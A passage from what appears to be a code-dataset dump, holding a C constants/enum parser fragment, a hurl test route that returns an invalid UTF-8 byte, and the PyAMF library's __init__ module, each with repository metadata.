import re import os from collections import namedtuple, OrderedDict EnumImport = namedtuple("EnumImport", "source_name destination_name name_overrides") mpile(r"#define ([^\s]+)\s+(.+)") enums = re.compile(r"enum[^{]+\{[^}]+\};") enum_name = re.compile(r"enum\s+([^\s{]+)") enum_contents = re.compile(r"{([^}]+)};") enum_explicit_value = re.compile(r"(?:\s*([^\s]+)\s*=\s*([^\s,]+),?)$", flags=re.MULTILINE) enum_implicit_value = re.compile(r"(?:^\s*([^\s,]+),?$)", flags=re.MULTILINE) class ConstantsParser: def __init__(self, input_file): self.source_files = [] self.imported_constants = {} self.imported_enums = {} self.constant_values = OrderedDict() self.enum_values = OrderedDict() manual_suffixes = OrderedDict() section = None for line in input_file: if line == "\n" or line.startswith("#"): continue if line.endswith(":\n"): section = line[:-2] continue if section == "file": self.source_files.append(line[:-1]) elif section == "constant": words = line.split() assert len(words) <= 2 self.imported_constants[words[0]] = words[-1] elif section == "enum": words = line.split() assert len(words) >= 2 name_overrides = {} if len(words) > 2: overrides = words[2:] assert len(overrides) % 2 == 0 index = 0 while index + 1 < len(overrides): name_overrides[overrides[index]] = overrides[index + 1] index += 2 target = EnumImport(words[0], words[1], name_overrides) self.imported_enums[target.source_name] = target elif section.startswith("manual"): target_container = None if section == "manual_prefix": target_container = self.constant_values elif section == "manual" or section == "manual_suffix": target_container = manual_suffixes if target_container is not None: key, value = line.split(None, 1) target_container[key] = value.rstrip() for filename in self.source_files: input_dir = os.path.dirname(input_file.name) file = open(os.path.join(input_dir, filename)).read() for constant in constants.findall(file): name, value = constant if name not in self.imported_constants: continue name = self.imported_constants.pop(name) self.constant_values[name] = value for enum in enums.findall(file): name_search = enum_name.search(enum) if not name_search: continue name = name_search.group(1) if not name in self.imported_enums: continue enum_definition = self.imported_enums.pop(name) contents = enum_contents.search(enum).group(1) name = enum_definition.destination_name self.enum_values[name] = OrderedDict() enum_values = self.enum_values[name] explicit_values = enum_explicit_value.findall(contents) if explicit_values: for name, value in explicit_values: if name in enum_definition.name_overrides: name = enum_definition.name_overrides[name] enum_values[name] = value implicit_values = enum_implicit_value.findall(contents) if implicit_values: assert len(explicit_values) <= 1 value = 0 if explicit_values: name = explicit_values[0][0] if name in enum_definition.name_overrides: name = enum_definition.name_overrides[name] value = int(enum_values[name], base=0) + 1 for name in implicit_values: if name in enum_definition.name_overrides: name = enum_definition.name_overrides[name] enum_values[name] = value value += 1 assert enum_values if self.imported_constants: names = list(self.imported_constants) raise Exception("constants {} not found".format(names)) if self.imported_enums: names = list(self.imported_enums) raise Exception("enums {} not found".format(names)) for name, value in manual_suffixes.items(): self.constant_values[name] = value

true

1c420f99903144b944d2260c5b9ff72eff0c7772

274

py

Python

integration/tests_failed/query_invalid_utf8.py

jleverenz/hurl

b81ca8ab7e0e409ec0c074fd8e118721ff4d3fb3

[ "Apache-2.0" ]

null

integration/tests_failed/query_invalid_utf8.py

jleverenz/hurl

b81ca8ab7e0e409ec0c074fd8e118721ff4d3fb3

[ "Apache-2.0" ]

null

integration/tests_failed/query_invalid_utf8.py

jleverenz/hurl

b81ca8ab7e0e409ec0c074fd8e118721ff4d3fb3

[ "Apache-2.0" ]

null

from app import app from flask import make_response from io import BytesIO @app.route("/error-query-invalid-utf8") def error_query_invalid_utf8(): result = BytesIO() result.write(b"\xff") data = result.getvalue() resp = make_response(data) return resp

21.076923

39

0.715328

from app import app from flask import make_response from io import BytesIO @app.route("/error-query-invalid-utf8") def error_query_invalid_utf8(): result = BytesIO() result.write(b"\xff") data = result.getvalue() resp = make_response(data) return resp

true

1c42108de4de8747904799e9ec22da386bb66ec9

23,990

py

Python

lib/PyAMF-0.6.1/pyamf/__init__.py

MiCHiLU/google_appengine_sdk

3da9f20d7e65e26c4938d2c4054bc4f39cbc5522

[ "Apache-2.0" ]

790

2015-01-03T02:13:39.000Z

2020-05-10T19:53:57.000Z

AppServer/lib/PyAMF-0.6.1/pyamf/__init__.py

nlake44/appscale

6944af660ca4cb772c9b6c2332ab28e5ef4d849f

[ "Apache-2.0" ]

1,361

2015-01-08T23:09:40.000Z

2020-04-14T00:03:04.000Z

AppServer/lib/PyAMF-0.6.1/pyamf/__init__.py

nlake44/appscale

6944af660ca4cb772c9b6c2332ab28e5ef4d849f

[ "Apache-2.0" ]

155

2015-01-08T22:59:31.000Z

2020-04-08T08:01:53.000Z

# Copyright (c) The PyAMF Project. # See LICENSE.txt for details. """ U{PyAMF<http://pyamf.org>} provides Action Message Format (U{AMF <http://en.wikipedia.org/wiki/Action_Message_Format>}) support for Python that is compatible with the Adobe U{Flash Player <http://en.wikipedia.org/wiki/Flash_Player>}. @since: October 2007 @status: Production/Stable """ import types import inspect from pyamf import util, _version from pyamf.adapters import register_adapters from pyamf import python from pyamf.alias import ClassAlias, UnknownClassAlias __all__ = [ 'register_class', 'register_class_loader', 'encode', 'decode', '__version__', 'version' ] #: PyAMF version number. __version__ = version = _version.version #: Class alias mapping support. Contains two types of keys: The string alias #: related to the class and the class object itself. Both point to the linked #: L{ClassAlias} object. #: @see: L{register_class}, L{unregister_class}, and L{register_package} CLASS_CACHE = {} #: Class loaders. An iterable of callables that are handed a string alias and #: return a class object or C{None} it not handled. #: @see: L{register_class_loader} and L{unregister_class_loader} CLASS_LOADERS = set() #: Custom type map. #: @see: L{get_type}, L{add_type}, and L{remove_type} TYPE_MAP = {} #: Maps error classes to string codes. #: @see: L{add_error_class} and L{remove_error_class} ERROR_CLASS_MAP = { TypeError.__name__: TypeError, KeyError.__name__: KeyError, LookupError.__name__: LookupError, IndexError.__name__: IndexError, NameError.__name__: NameError, ValueError.__name__: ValueError } #: Alias mapping support. #: @see: L{get_class_alias}, L{register_alias_type}, and L{unregister_alias_type} ALIAS_TYPES = {} #: Specifies that objects are serialized using AMF for ActionScript 1.0 #: and 2.0 that were introduced in the Adobe Flash Player 6. AMF0 = 0 #: Specifies that objects are serialized using AMF for ActionScript 3.0 #: that was introduced in the Adobe Flash Player 9. AMF3 = 3 #: Supported AMF encoding types. #: @see: L{AMF0}, L{AMF3}, and L{DEFAULT_ENCODING} ENCODING_TYPES = (AMF0, AMF3) #: Default encoding DEFAULT_ENCODING = AMF3 class UndefinedType(object): """ Represents the C{undefined} value in the Adobe Flash Player client. """ def __repr__(self): return 'pyamf.Undefined' #: Represents the C{undefined} value in the Adobe Flash Player client. Undefined = UndefinedType() class BaseError(Exception): """ Base AMF Error. All AMF related errors should be subclassed from this class. """ class DecodeError(BaseError): """ Raised if there is an error in decoding an AMF data stream. """ class EOStream(BaseError): """ Raised if the data stream has come to a natural end. """ class ReferenceError(BaseError): """ Raised if an AMF data stream refers to a non-existent object or string reference (in the case of AMF3). """ class EncodeError(BaseError): """ Raised if the element could not be encoded to AMF. """ class ASObject(dict): """ Represents a Flash Actionscript Object (typed or untyped). I supply a C{dict} interface to support C{getattr}/C{setattr} calls. """ class __amf__: dynamic = True def __getattr__(self, k): try: return self[k] except KeyError: raise AttributeError('Unknown attribute \'%s\'' % (k,)) def __setattr__(self, k, v): self[k] = v def __repr__(self): return dict.__repr__(self) def __hash__(self): return id(self) class MixedArray(dict): """ Used to be able to specify the C{mixedarray} type. """ class TypedObject(dict): """ This class is used when a strongly typed object is decoded but there is no registered class to apply it to. This object can only be used for standard streams - i.e. not externalized data. If encountered, a L{DecodeError} will be raised. @ivar alias: The alias of the typed object. @type alias: C{string} @since: 0.4 """ def __init__(self, alias): dict.__init__(self) self.alias = alias def __readamf__(self, o): raise DecodeError('Unable to decode an externalised stream with ' 'class alias \'%s\'.\n\nA class alias was found and because ' 'strict mode is False an attempt was made to decode the object ' 'automatically. To decode this stream, a registered class with ' 'the alias and a corresponding __readamf__ method will be ' 'required.' % (self.alias,)) def __writeamf__(self, o): raise EncodeError('Unable to encode an externalised stream with ' 'class alias \'%s\'.\n\nA class alias was found and because ' 'strict mode is False an attempt was made to encode the object ' 'automatically. To encode this stream, a registered class with ' 'the alias and a corresponding __writeamf__ method will be ' 'required.' % (self.alias,)) class TypedObjectClassAlias(ClassAlias): """ The meta class for L{TypedObject} used to adapt PyAMF. @since: 0.4 """ klass = TypedObject def __init__(self, *args, **kwargs): ClassAlias.__init__(self, self.klass, kwargs.pop('alias', args[0])) def createInstance(self, codec=None): return self.klass(self.alias) def checkClass(kls, klass): pass class ErrorAlias(ClassAlias): """ Adapts Python exception objects to Adobe Flash Player error objects. @since: 0.5 """ def getCustomProperties(self): self.exclude_attrs.update(['args']) def getEncodableAttributes(self, obj, **kwargs): attrs = ClassAlias.getEncodableAttributes(self, obj, **kwargs) attrs['message'] = str(obj) attrs['name'] = obj.__class__.__name__ return attrs def register_class(klass, alias=None): """ Registers a class to be used in the data streaming. This is the equivalent to the C{[RemoteClass(alias="foobar")]} AS3 metatag. @return: The registered L{ClassAlias} instance. @see: L{unregister_class} """ meta = util.get_class_meta(klass) if alias is not None: meta['alias'] = alias alias_klass = util.get_class_alias(klass) or ClassAlias x = alias_klass(klass, defer=True, **meta) if not x.anonymous: CLASS_CACHE[x.alias] = x CLASS_CACHE[klass] = x return x def unregister_class(alias): """ Opposite of L{register_class}. @raise UnknownClassAlias: Unknown alias. """ try: x = CLASS_CACHE[alias] except KeyError: raise UnknownClassAlias('Unknown alias %r' % (alias,)) if not x.anonymous: del CLASS_CACHE[x.alias] del CLASS_CACHE[x.klass] return x def get_class_alias(klass_or_alias): """ Finds the L{ClassAlias} that is registered to C{klass_or_alias}. If a string is supplied and no related L{ClassAlias} is found, the alias is loaded via L{load_class}. @raise UnknownClassAlias: Unknown alias """ if isinstance(klass_or_alias, python.str_types): try: return CLASS_CACHE[klass_or_alias] except KeyError: return load_class(klass_or_alias) try: return CLASS_CACHE[klass_or_alias] except KeyError: raise UnknownClassAlias('Unknown alias for %r' % (klass_or_alias,)) def register_class_loader(loader): """ Registers a loader that is called to provide the C{class} for a specific alias. The C{loader} is provided with one argument, the class alias (as a string). If the loader succeeds in finding a suitable class then it should return that class, otherwise it should return C{None}. An example:: def lazy_load_from_my_module(alias): if not alias.startswith('foo.bar.'): return None from foo import bar if alias == 'foo.bar.Spam': return bar.Spam elif alias == 'foo.bar.Eggs': return bar.Eggs pyamf.register_class_loader(lazy_load_from_my_module) @raise TypeError: C{loader} must be callable @see: L{unregister_class_loader} """ if not hasattr(loader, '__call__'): raise TypeError("loader must be callable") CLASS_LOADERS.update([loader]) def unregister_class_loader(loader): """ Unregisters a class loader. @param loader: The class loader to be unregistered. @raise LookupError: The C{loader} was not registered. @see: L{register_class_loader} """ try: CLASS_LOADERS.remove(loader) except KeyError: raise LookupError("loader not found") def load_class(alias): """ Finds the class registered to the alias. The search is done in order: 1. Checks if the class name has been registered via L{register_class} or L{register_package}. 2. Checks all functions registered via L{register_class_loader}. 3. Attempts to load the class via standard module loading techniques. @param alias: The class name. @type alias: C{string} @raise UnknownClassAlias: The C{alias} was not found. @raise TypeError: Expecting class type or L{ClassAlias} from loader. @return: Class registered to the alias. @rtype: C{classobj} """ # Try the CLASS_CACHE first try: return CLASS_CACHE[alias] except KeyError: pass for loader in CLASS_LOADERS: klass = loader(alias) if klass is None: continue if isinstance(klass, python.class_types): return register_class(klass, alias) elif isinstance(klass, ClassAlias): CLASS_CACHE[klass.alias] = klass CLASS_CACHE[klass.klass] = klass return klass raise TypeError("Expecting class object or ClassAlias from loader") mod_class = alias.split('.') if mod_class: module = '.'.join(mod_class[:-1]) klass = mod_class[-1] try: module = util.get_module(module) except (ImportError, AttributeError): pass else: klass = getattr(module, klass) if isinstance(klass, python.class_types): return register_class(klass, alias) elif isinstance(klass, ClassAlias): CLASS_CACHE[klass.alias] = klass CLASS_CACHE[klass.klass] = klass return klass.klass else: raise TypeError("Expecting class type or ClassAlias from loader") # All available methods for finding the class have been exhausted raise UnknownClassAlias("Unknown alias for %r" % (alias,)) def decode(stream, *args, **kwargs): """ A generator function to decode a datastream. @param stream: AMF data to be decoded. @type stream: byte data. @kwarg encoding: AMF encoding type. One of L{ENCODING_TYPES}. @return: A generator that will decode each element in the stream. """ encoding = kwargs.pop('encoding', DEFAULT_ENCODING) decoder = get_decoder(encoding, stream, *args, **kwargs) return decoder def encode(*args, **kwargs): """ A helper function to encode an element. @param args: The python data to be encoded. @kwarg encoding: AMF encoding type. One of L{ENCODING_TYPES}. @return: A L{util.BufferedByteStream} object that contains the data. """ encoding = kwargs.pop('encoding', DEFAULT_ENCODING) encoder = get_encoder(encoding, **kwargs) [encoder.writeElement(el) for el in args] stream = encoder.stream stream.seek(0) return stream def get_decoder(encoding, *args, **kwargs): """ Returns a L{codec.Decoder} capable of decoding AMF[C{encoding}] streams. @raise ValueError: Unknown C{encoding}. """ def _get_decoder_class(): if encoding == AMF0: try: from cpyamf import amf0 except ImportError: from pyamf import amf0 return amf0.Decoder elif encoding == AMF3: try: from cpyamf import amf3 except ImportError: from pyamf import amf3 return amf3.Decoder raise ValueError("Unknown encoding %r" % (encoding,)) return _get_decoder_class()(*args, **kwargs) def get_encoder(encoding, *args, **kwargs): """ Returns a L{codec.Encoder} capable of encoding AMF[C{encoding}] streams. @raise ValueError: Unknown C{encoding}. """ def _get_encoder_class(): if encoding == AMF0: try: from cpyamf import amf0 except ImportError: from pyamf import amf0 return amf0.Encoder elif encoding == AMF3: try: from cpyamf import amf3 except ImportError: from pyamf import amf3 return amf3.Encoder raise ValueError("Unknown encoding %r" % (encoding,)) return _get_encoder_class()(*args, **kwargs) def blaze_loader(alias): """ Loader for BlazeDS framework compatibility classes, specifically implementing C{ISmallMessage}. @see: U{BlazeDS<http://opensource.adobe.com/wiki/display/blazeds/BlazeDS>} @since: 0.5 """ if alias not in ['DSC', 'DSK']: return import pyamf.flex.messaging return CLASS_CACHE[alias] def flex_loader(alias): """ Loader for L{Flex<pyamf.flex>} framework compatibility classes. @raise UnknownClassAlias: Trying to load an unknown Flex compatibility class. """ if not alias.startswith('flex.'): return try: if alias.startswith('flex.messaging.messages'): import pyamf.flex.messaging elif alias.startswith('flex.messaging.io'): import pyamf.flex elif alias.startswith('flex.data.messages'): import pyamf.flex.data return CLASS_CACHE[alias] except KeyError: raise UnknownClassAlias(alias) def add_type(type_, func=None): """ Adds a custom type to L{TYPE_MAP}. A custom type allows fine grain control of what to encode to an AMF data stream. @raise TypeError: Unable to add as a custom type (expected a class or callable). @raise KeyError: Type already exists. @see: L{get_type} and L{remove_type} """ def _check_type(type_): if not (isinstance(type_, python.class_types) or hasattr(type_, '__call__')): raise TypeError(r'Unable to add '%r' as a custom type (expected a ' 'class or callable)' % (type_,)) if isinstance(type_, list): type_ = tuple(type_) if type_ in TYPE_MAP: raise KeyError('Type %r already exists' % (type_,)) if isinstance(type_, types.TupleType): for x in type_: _check_type(x) else: _check_type(type_) TYPE_MAP[type_] = func def get_type(type_): """ Gets the declaration for the corresponding custom type. @raise KeyError: Unknown type. @see: L{add_type} and L{remove_type} """ if isinstance(type_, list): type_ = tuple(type_) for k, v in TYPE_MAP.iteritems(): if k == type_: return v raise KeyError("Unknown type %r" % (type_,)) def remove_type(type_): """ Removes the custom type declaration. @return: Custom type declaration. @see: L{add_type} and L{get_type} """ declaration = get_type(type_) del TYPE_MAP[type_] return declaration def add_error_class(klass, code): """ Maps an exception class to a string code. Used to map remoting C{onStatus} objects to an exception class so that an exception can be built to represent that error. An example:: >>> class AuthenticationError(Exception): ... pass ... >>> pyamf.add_error_class(AuthenticationError, 'Auth.Failed') >>> print pyamf.ERROR_CLASS_MAP {'TypeError': <type 'exceptions.TypeError'>, 'IndexError': <type 'exceptions.IndexError'>, 'Auth.Failed': <class '__main__.AuthenticationError'>, 'KeyError': <type 'exceptions.KeyError'>, 'NameError': <type 'exceptions.NameError'>, 'LookupError': <type 'exceptions.LookupError'>} @param klass: Exception class @param code: Exception code @type code: C{str} @see: L{remove_error_class} """ if not isinstance(code, python.str_types): code = code.decode('utf-8') if not isinstance(klass, python.class_types): raise TypeError("klass must be a class type") mro = inspect.getmro(klass) if not Exception in mro: raise TypeError( 'Error classes must subclass the __builtin__.Exception class') if code in ERROR_CLASS_MAP: raise ValueError('Code %s is already registered' % (code,)) ERROR_CLASS_MAP[code] = klass def remove_error_class(klass): """ Removes a class from the L{ERROR_CLASS_MAP}. An example:: >>> class AuthenticationError(Exception): ... pass ... >>> pyamf.add_error_class(AuthenticationError, 'Auth.Failed') >>> pyamf.remove_error_class(AuthenticationError) @see: L{add_error_class} """ if isinstance(klass, python.str_types): if klass not in ERROR_CLASS_MAP: raise ValueError('Code %s is not registered' % (klass,)) elif isinstance(klass, python.class_types): classes = ERROR_CLASS_MAP.values() if klass not in classes: raise ValueError('Class %s is not registered' % (klass,)) klass = ERROR_CLASS_MAP.keys()[classes.index(klass)] else: raise TypeError("Invalid type, expected class or string") del ERROR_CLASS_MAP[klass] def register_alias_type(klass, *args): """ This function allows you to map subclasses of L{ClassAlias} to classes listed in C{args}. When an object is read/written from/to the AMF stream, a paired L{ClassAlias} instance is created (or reused), based on the Python class of that object. L{ClassAlias} provides important metadata for the class and can also control how the equivalent Python object is created, how the attributes are applied etc. Use this function if you need to do something non-standard. @since: 0.4 @see: - L{pyamf.adapters._google_appengine_ext_db.DataStoreClassAlias} for a good example. - L{unregister_alias_type} @raise RuntimeError: alias is already registered @raise TypeError: Value supplied to C{klass} is not a class @raise ValueError: - New aliases must subclass L{pyamf.ClassAlias} - At least one type must be supplied """ def check_type_registered(arg): for k, v in ALIAS_TYPES.iteritems(): for kl in v: if arg is kl: raise RuntimeError('%r is already registered under %r' % ( arg, k)) if not isinstance(klass, python.class_types): raise TypeError('klass must be class') if not issubclass(klass, ClassAlias): raise ValueError('New aliases must subclass pyamf.ClassAlias') if len(args) == 0: raise ValueError('At least one type must be supplied') if len(args) == 1 and hasattr(args[0], '__call__'): c = args[0] check_type_registered(c) else: for arg in args: if not isinstance(arg, python.class_types): raise TypeError('%r must be class' % (arg,)) check_type_registered(arg) ALIAS_TYPES[klass] = args for k, v in CLASS_CACHE.copy().iteritems(): new_alias = util.get_class_alias(v.klass) if new_alias is klass: meta = util.get_class_meta(v.klass) meta['alias'] = v.alias alias_klass = klass(v.klass, **meta) CLASS_CACHE[k] = alias_klass CLASS_CACHE[v.klass] = alias_klass def unregister_alias_type(klass): """ Removes the klass from the L{ALIAS_TYPES} register. @see: L{register_alias_type} """ return ALIAS_TYPES.pop(klass, None) def register_package(module=None, package=None, separator='.', ignore=[], strict=True): """ This is a helper function that takes the concept of Actionscript packages and registers all the classes in the supplied Python module under that package. It auto-aliased all classes in C{module} based on the parent C{package}. @param module: The Python module that will contain all the classes to auto alias. @type module: C{module} or C{dict} @param package: The base package name. e.g. 'com.example.app'. If this is C{None} then the value is inferred from C{module.__name__}. @type package: C{string} or C{None} @param separator: The separator used to append to C{package} to form the complete alias. @param ignore: To give fine grain control over what gets aliased and what doesn't, supply a list of classes that you B{do not} want to be aliased. @type ignore: C{iterable} @param strict: Whether only classes that originate from C{module} will be registered. @return: A dict of all the classes that were registered and their respective L{ClassAlias} counterparts. @since: 0.5 @raise TypeError: Cannot get a list of classes from C{module} """ if isinstance(module, python.str_types): if module == '': raise TypeError('Cannot get list of classes from %r' % (module,)) package = module module = None if module is None: import inspect prev_frame = inspect.stack()[1][0] module = prev_frame.f_locals if type(module) is dict: has = lambda x: x in module get = module.__getitem__ elif type(module) is list: has = lambda x: x in module get = module.__getitem__ strict = False else: has = lambda x: hasattr(module, x) get = lambda x: getattr(module, x) if package is None: if has('__name__'): package = get('__name__') else: raise TypeError('Cannot get list of classes from %r' % (module,)) if has('__all__'): keys = get('__all__') elif hasattr(module, '__dict__'): keys = module.__dict__.keys() elif hasattr(module, 'keys'): keys = module.keys() elif isinstance(module, list): keys = range(len(module)) else: raise TypeError('Cannot get list of classes from %r' % (module,)) def check_attr(attr): if not isinstance(attr, python.class_types): return False if attr.__name__ in ignore: return False try: if strict and attr.__module__ != get('__name__'): return False except AttributeError: return False return True # gotta love python classes = filter(check_attr, [get(x) for x in keys]) registered = {} for klass in classes: alias = '%s%s%s' % (package, separator, klass.__name__) registered[klass] = register_class(klass, alias) return registered def set_default_etree(etree): """ Sets the default interface that will called apon to both de/serialise XML entities. This means providing both C{tostring} and C{fromstring} functions. For testing purposes, will return the previous value for this (if any). """ from pyamf import xml return xml.set_default_interface(etree) #: setup some some standard class registrations and class loaders. register_class(ASObject) register_class_loader(flex_loader) register_class_loader(blaze_loader) register_alias_type(TypedObjectClassAlias, TypedObject) register_alias_type(ErrorAlias, Exception) register_adapters()

28.256773

104

0.644393

import types import inspect from pyamf import util, _version from pyamf.adapters import register_adapters from pyamf import python from pyamf.alias import ClassAlias, UnknownClassAlias __all__ = [ 'register_class', 'register_class_loader', 'encode', 'decode', '__version__', 'version' ] __version__ = version = _version.version CLASS_CACHE = {} CLASS_LOADERS = set() TYPE_MAP = {} ERROR_CLASS_MAP = { TypeError.__name__: TypeError, KeyError.__name__: KeyError, LookupError.__name__: LookupError, IndexError.__name__: IndexError, NameError.__name__: NameError, ValueError.__name__: ValueError } ALIAS_TYPES = {} AMF0 = 0 AMF3 = 3 ENCODING_TYPES = (AMF0, AMF3) DEFAULT_ENCODING = AMF3 class UndefinedType(object): def __repr__(self): return 'pyamf.Undefined' Undefined = UndefinedType() class BaseError(Exception): class DecodeError(BaseError): class EOStream(BaseError): class ReferenceError(BaseError): class EncodeError(BaseError): class ASObject(dict): class __amf__: dynamic = True def __getattr__(self, k): try: return self[k] except KeyError: raise AttributeError('Unknown attribute \'%s\'' % (k,)) def __setattr__(self, k, v): self[k] = v def __repr__(self): return dict.__repr__(self) def __hash__(self): return id(self) class MixedArray(dict): class TypedObject(dict): def __init__(self, alias): dict.__init__(self) self.alias = alias def __readamf__(self, o): raise DecodeError('Unable to decode an externalised stream with ' 'class alias \'%s\'.\n\nA class alias was found and because ' 'strict mode is False an attempt was made to decode the object ' 'automatically. To decode this stream, a registered class with ' 'the alias and a corresponding __readamf__ method will be ' 'required.' % (self.alias,)) def __writeamf__(self, o): raise EncodeError('Unable to encode an externalised stream with ' 'class alias \'%s\'.\n\nA class alias was found and because ' 'strict mode is False an attempt was made to encode the object ' 'automatically. To encode this stream, a registered class with ' 'the alias and a corresponding __writeamf__ method will be ' 'required.' % (self.alias,)) class TypedObjectClassAlias(ClassAlias): klass = TypedObject def __init__(self, *args, **kwargs): ClassAlias.__init__(self, self.klass, kwargs.pop('alias', args[0])) def createInstance(self, codec=None): return self.klass(self.alias) def checkClass(kls, klass): pass class ErrorAlias(ClassAlias): def getCustomProperties(self): self.exclude_attrs.update(['args']) def getEncodableAttributes(self, obj, **kwargs): attrs = ClassAlias.getEncodableAttributes(self, obj, **kwargs) attrs['message'] = str(obj) attrs['name'] = obj.__class__.__name__ return attrs def register_class(klass, alias=None): meta = util.get_class_meta(klass) if alias is not None: meta['alias'] = alias alias_klass = util.get_class_alias(klass) or ClassAlias x = alias_klass(klass, defer=True, **meta) if not x.anonymous: CLASS_CACHE[x.alias] = x CLASS_CACHE[klass] = x return x def unregister_class(alias): try: x = CLASS_CACHE[alias] except KeyError: raise UnknownClassAlias('Unknown alias %r' % (alias,)) if not x.anonymous: del CLASS_CACHE[x.alias] del CLASS_CACHE[x.klass] return x def get_class_alias(klass_or_alias): if isinstance(klass_or_alias, python.str_types): try: return CLASS_CACHE[klass_or_alias] except KeyError: return load_class(klass_or_alias) try: return CLASS_CACHE[klass_or_alias] except KeyError: raise UnknownClassAlias('Unknown alias for %r' % (klass_or_alias,)) def register_class_loader(loader): if not hasattr(loader, '__call__'): raise TypeError("loader must be callable") CLASS_LOADERS.update([loader]) def unregister_class_loader(loader): try: CLASS_LOADERS.remove(loader) except KeyError: raise LookupError("loader not found") def load_class(alias): try: return CLASS_CACHE[alias] except KeyError: pass for loader in CLASS_LOADERS: klass = loader(alias) if klass is None: continue if isinstance(klass, python.class_types): return register_class(klass, alias) elif isinstance(klass, ClassAlias): CLASS_CACHE[klass.alias] = klass CLASS_CACHE[klass.klass] = klass return klass raise TypeError("Expecting class object or ClassAlias from loader") mod_class = alias.split('.') if mod_class: module = '.'.join(mod_class[:-1]) klass = mod_class[-1] try: module = util.get_module(module) except (ImportError, AttributeError): pass else: klass = getattr(module, klass) if isinstance(klass, python.class_types): return register_class(klass, alias) elif isinstance(klass, ClassAlias): CLASS_CACHE[klass.alias] = klass CLASS_CACHE[klass.klass] = klass return klass.klass else: raise TypeError("Expecting class type or ClassAlias from loader") raise UnknownClassAlias("Unknown alias for %r" % (alias,)) def decode(stream, *args, **kwargs): encoding = kwargs.pop('encoding', DEFAULT_ENCODING) decoder = get_decoder(encoding, stream, *args, **kwargs) return decoder def encode(*args, **kwargs): encoding = kwargs.pop('encoding', DEFAULT_ENCODING) encoder = get_encoder(encoding, **kwargs) [encoder.writeElement(el) for el in args] stream = encoder.stream stream.seek(0) return stream def get_decoder(encoding, *args, **kwargs): def _get_decoder_class(): if encoding == AMF0: try: from cpyamf import amf0 except ImportError: from pyamf import amf0 return amf0.Decoder elif encoding == AMF3: try: from cpyamf import amf3 except ImportError: from pyamf import amf3 return amf3.Decoder raise ValueError("Unknown encoding %r" % (encoding,)) return _get_decoder_class()(*args, **kwargs) def get_encoder(encoding, *args, **kwargs): def _get_encoder_class(): if encoding == AMF0: try: from cpyamf import amf0 except ImportError: from pyamf import amf0 return amf0.Encoder elif encoding == AMF3: try: from cpyamf import amf3 except ImportError: from pyamf import amf3 return amf3.Encoder raise ValueError("Unknown encoding %r" % (encoding,)) return _get_encoder_class()(*args, **kwargs) def blaze_loader(alias): if alias not in ['DSC', 'DSK']: return import pyamf.flex.messaging return CLASS_CACHE[alias] def flex_loader(alias): if not alias.startswith('flex.'): return try: if alias.startswith('flex.messaging.messages'): import pyamf.flex.messaging elif alias.startswith('flex.messaging.io'): import pyamf.flex elif alias.startswith('flex.data.messages'): import pyamf.flex.data return CLASS_CACHE[alias] except KeyError: raise UnknownClassAlias(alias) def add_type(type_, func=None): def _check_type(type_): if not (isinstance(type_, python.class_types) or hasattr(type_, '__call__')): raise TypeError(r'Unable to add '%r' as a custom type (expected a ' 'class or callable)' % (type_,)) if isinstance(type_, list): type_ = tuple(type_) if type_ in TYPE_MAP: raise KeyError('Type %r already exists' % (type_,)) if isinstance(type_, types.TupleType): for x in type_: _check_type(x) else: _check_type(type_) TYPE_MAP[type_] = func def get_type(type_): if isinstance(type_, list): type_ = tuple(type_) for k, v in TYPE_MAP.iteritems(): if k == type_: return v raise KeyError("Unknown type %r" % (type_,)) def remove_type(type_): declaration = get_type(type_) del TYPE_MAP[type_] return declaration def add_error_class(klass, code): if not isinstance(code, python.str_types): code = code.decode('utf-8') if not isinstance(klass, python.class_types): raise TypeError("klass must be a class type") mro = inspect.getmro(klass) if not Exception in mro: raise TypeError( 'Error classes must subclass the __builtin__.Exception class') if code in ERROR_CLASS_MAP: raise ValueError('Code %s is already registered' % (code,)) ERROR_CLASS_MAP[code] = klass def remove_error_class(klass): if isinstance(klass, python.str_types): if klass not in ERROR_CLASS_MAP: raise ValueError('Code %s is not registered' % (klass,)) elif isinstance(klass, python.class_types): classes = ERROR_CLASS_MAP.values() if klass not in classes: raise ValueError('Class %s is not registered' % (klass,)) klass = ERROR_CLASS_MAP.keys()[classes.index(klass)] else: raise TypeError("Invalid type, expected class or string") del ERROR_CLASS_MAP[klass] def register_alias_type(klass, *args): def check_type_registered(arg): for k, v in ALIAS_TYPES.iteritems(): for kl in v: if arg is kl: raise RuntimeError('%r is already registered under %r' % ( arg, k)) if not isinstance(klass, python.class_types): raise TypeError('klass must be class') if not issubclass(klass, ClassAlias): raise ValueError('New aliases must subclass pyamf.ClassAlias') if len(args) == 0: raise ValueError('At least one type must be supplied') if len(args) == 1 and hasattr(args[0], '__call__'): c = args[0] check_type_registered(c) else: for arg in args: if not isinstance(arg, python.class_types): raise TypeError('%r must be class' % (arg,)) check_type_registered(arg) ALIAS_TYPES[klass] = args for k, v in CLASS_CACHE.copy().iteritems(): new_alias = util.get_class_alias(v.klass) if new_alias is klass: meta = util.get_class_meta(v.klass) meta['alias'] = v.alias alias_klass = klass(v.klass, **meta) CLASS_CACHE[k] = alias_klass CLASS_CACHE[v.klass] = alias_klass def unregister_alias_type(klass): return ALIAS_TYPES.pop(klass, None) def register_package(module=None, package=None, separator='.', ignore=[], strict=True): if isinstance(module, python.str_types): if module == '': raise TypeError('Cannot get list of classes from %r' % (module,)) package = module module = None if module is None: import inspect prev_frame = inspect.stack()[1][0] module = prev_frame.f_locals if type(module) is dict: has = lambda x: x in module get = module.__getitem__ elif type(module) is list: has = lambda x: x in module get = module.__getitem__ strict = False else: has = lambda x: hasattr(module, x) get = lambda x: getattr(module, x) if package is None: if has('__name__'): package = get('__name__') else: raise TypeError('Cannot get list of classes from %r' % (module,)) if has('__all__'): keys = get('__all__') elif hasattr(module, '__dict__'): keys = module.__dict__.keys() elif hasattr(module, 'keys'): keys = module.keys() elif isinstance(module, list): keys = range(len(module)) else: raise TypeError('Cannot get list of classes from %r' % (module,)) def check_attr(attr): if not isinstance(attr, python.class_types): return False if attr.__name__ in ignore: return False try: if strict and attr.__module__ != get('__name__'): return False except AttributeError: return False return True classes = filter(check_attr, [get(x) for x in keys]) registered = {} for klass in classes: alias = '%s%s%s' % (package, separator, klass.__name__) registered[klass] = register_class(klass, alias) return registered def set_default_etree(etree): from pyamf import xml return xml.set_default_interface(etree) register_class(ASObject) register_class_loader(flex_loader) register_class_loader(blaze_loader) register_alias_type(TypedObjectClassAlias, TypedObject) register_alias_type(ErrorAlias, Exception) register_adapters()

true

1c42115399dbe0144a26fa8dc6aa87e3e16e5769

4,117

py

Python

datasets/gutenberg_time/gutenberg_time.py

WojciechKusa/datasets

